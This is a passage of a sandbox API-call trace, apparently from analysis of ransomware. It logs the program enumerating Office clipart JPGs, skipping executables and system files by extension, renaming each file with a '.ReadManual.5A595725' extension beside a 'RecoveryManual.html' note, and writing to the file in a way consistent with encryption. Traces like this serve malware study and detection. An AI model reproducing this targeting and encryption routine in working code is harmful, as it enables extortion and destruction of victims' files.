QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39086042725) returned 1 [0270.192] CloseHandle (hObject=0x184) returned 1 [0270.192] SetSecurityInfo () returned 0x57 [0270.192] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.192] CloseHandle (hObject=0x194) returned 1 [0270.192] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0384888.JPG", cAlternateFileName="")) returned 1 [0270.192] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0384888.JPG" | out: lpString1="J0384888.JPG") returned="J0384888.JPG" [0270.192] lstrcmpiW (lpString1="J0384888.JPG", lpString2="RecoveryManual.html") returned -1 [0270.192] StrStrIW (lpFirst="J0384888.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.192] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.192] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.192] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.192] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.192] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.192] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.192] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.192] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.192] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.192] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.192] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.192] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.192] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.192] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.193] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" [0270.193] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.ReadManual.5A595725" [0270.193] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.ReadManual.5A595725") returned 87 [0270.193] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39086140314) returned 1 [0270.193] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg")) returned 0x20 [0270.193] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.193] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=81971) returned 1 [0270.193] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14033, lpName=0x0) returned 0x184 [0270.193] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.194] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.194] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.196] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.196] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14033) returned 0x1de0000 [0270.198] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.199] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39086761735) returned 1 [0270.199] CloseHandle (hObject=0x184) returned 1 [0270.199] SetSecurityInfo () returned 0x57 [0270.199] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.199] CloseHandle (hObject=0x194) returned 1 [0270.199] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0384895.JPG", cAlternateFileName="")) returned 1 [0270.199] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0384895.JPG" | out: lpString1="J0384895.JPG") returned="J0384895.JPG" [0270.199] lstrcmpiW (lpString1="J0384895.JPG", lpString2="RecoveryManual.html") returned -1 [0270.199] StrStrIW (lpFirst="J0384895.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.199] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.199] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.199] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.199] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.199] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.199] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.199] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.200] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.200] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.200] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.200] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.200] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.200] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.200] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.200] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" [0270.200] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.ReadManual.5A595725" [0270.200] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.ReadManual.5A595725") returned 87 [0270.200] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39086860272) returned 1 [0270.200] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg")) returned 0x20 [0270.200] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.200] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=55542) returned 1 [0270.200] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd8f6, lpName=0x0) returned 0x184 [0270.201] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.201] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.201] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.203] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.203] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd8f6) returned 0x2f0000 [0270.207] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.207] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39087611278) returned 1 [0270.207] CloseHandle (hObject=0x184) returned 1 [0270.207] SetSecurityInfo () returned 0x57 [0270.208] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.208] CloseHandle (hObject=0x194) returned 1 [0270.208] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0384900.JPG", cAlternateFileName="")) returned 1 [0270.208] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0384900.JPG" | out: lpString1="J0384900.JPG") returned="J0384900.JPG" [0270.208] lstrcmpiW (lpString1="J0384900.JPG", lpString2="RecoveryManual.html") returned -1 [0270.208] StrStrIW (lpFirst="J0384900.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.208] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.208] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.208] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.208] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.208] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.208] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.208] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.208] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.208] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.208] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.208] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.208] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.208] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.208] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.208] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" [0270.208] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.ReadManual.5A595725" [0270.208] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.ReadManual.5A595725") returned 87 [0270.208] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39087707508) returned 1 [0270.208] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg")) returned 0x20 [0270.209] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.210] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=71552) returned 1 [0270.210] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11780, lpName=0x0) returned 0x184 [0270.210] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.210] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.210] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.212] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.212] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11780) returned 0x1de0000 [0270.215] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.215] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39088402815) returned 1 [0270.215] CloseHandle (hObject=0x184) returned 1 [0270.215] SetSecurityInfo () returned 0x57 [0270.215] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.216] CloseHandle (hObject=0x194) returned 1 [0270.216] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x787a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0386120.JPG", cAlternateFileName="")) returned 1 [0270.216] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0386120.JPG" | out: lpString1="J0386120.JPG") returned="J0386120.JPG" [0270.216] lstrcmpiW (lpString1="J0386120.JPG", lpString2="RecoveryManual.html") returned -1 [0270.216] StrStrIW (lpFirst="J0386120.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.216] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.216] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.216] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.216] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.216] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.216] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.216] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.216] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.216] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.216] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.216] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.216] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.216] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.216] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.216] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" [0270.216] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.ReadManual.5A595725" [0270.216] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.ReadManual.5A595725") returned 87 [0270.216] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39088500023) returned 1 [0270.216] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg")) returned 0x20 [0270.216] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.217] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30842) returned 1 [0270.217] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x787a, lpName=0x0) returned 0x184 [0270.217] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.218] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.218] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.219] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.220] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x787a) returned 0x2f0000 [0270.220] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.220] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39088887093) returned 1 [0270.220] CloseHandle (hObject=0x184) returned 1 [0270.220] SetSecurityInfo () returned 0x57 [0270.220] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.220] CloseHandle (hObject=0x194) returned 1 [0270.220] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa91e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0386267.JPG", cAlternateFileName="")) returned 1 [0270.220] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0386267.JPG" | out: lpString1="J0386267.JPG") returned="J0386267.JPG" [0270.220] lstrcmpiW (lpString1="J0386267.JPG", lpString2="RecoveryManual.html") returned -1 [0270.221] StrStrIW (lpFirst="J0386267.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.221] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.221] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.221] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.221] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.221] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.221] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.221] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.221] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.221] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.221] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.221] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.221] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.221] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.221] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.221] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" [0270.221] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.ReadManual.5A595725" [0270.221] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.ReadManual.5A595725") returned 87 [0270.221] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39088986495) returned 1 [0270.221] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg")) returned 0x20 [0270.221] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.222] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=43294) returned 1 [0270.222] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa91e, lpName=0x0) returned 0x184 [0270.222] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.222] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.223] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.225] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.225] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa91e) returned 0x2f0000 [0270.226] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.226] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39089491063) returned 1 [0270.226] CloseHandle (hObject=0x184) returned 1 [0270.226] SetSecurityInfo () returned 0x57 [0270.226] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.226] CloseHandle (hObject=0x194) returned 1 [0270.226] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0386270.JPG", cAlternateFileName="")) returned 1 [0270.227] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0386270.JPG" | out: lpString1="J0386270.JPG") returned="J0386270.JPG" [0270.227] lstrcmpiW (lpString1="J0386270.JPG", lpString2="RecoveryManual.html") returned -1 [0270.227] StrStrIW (lpFirst="J0386270.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.227] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.227] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.227] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.227] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.227] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.227] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.227] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.227] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.227] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.227] StrCmpIW 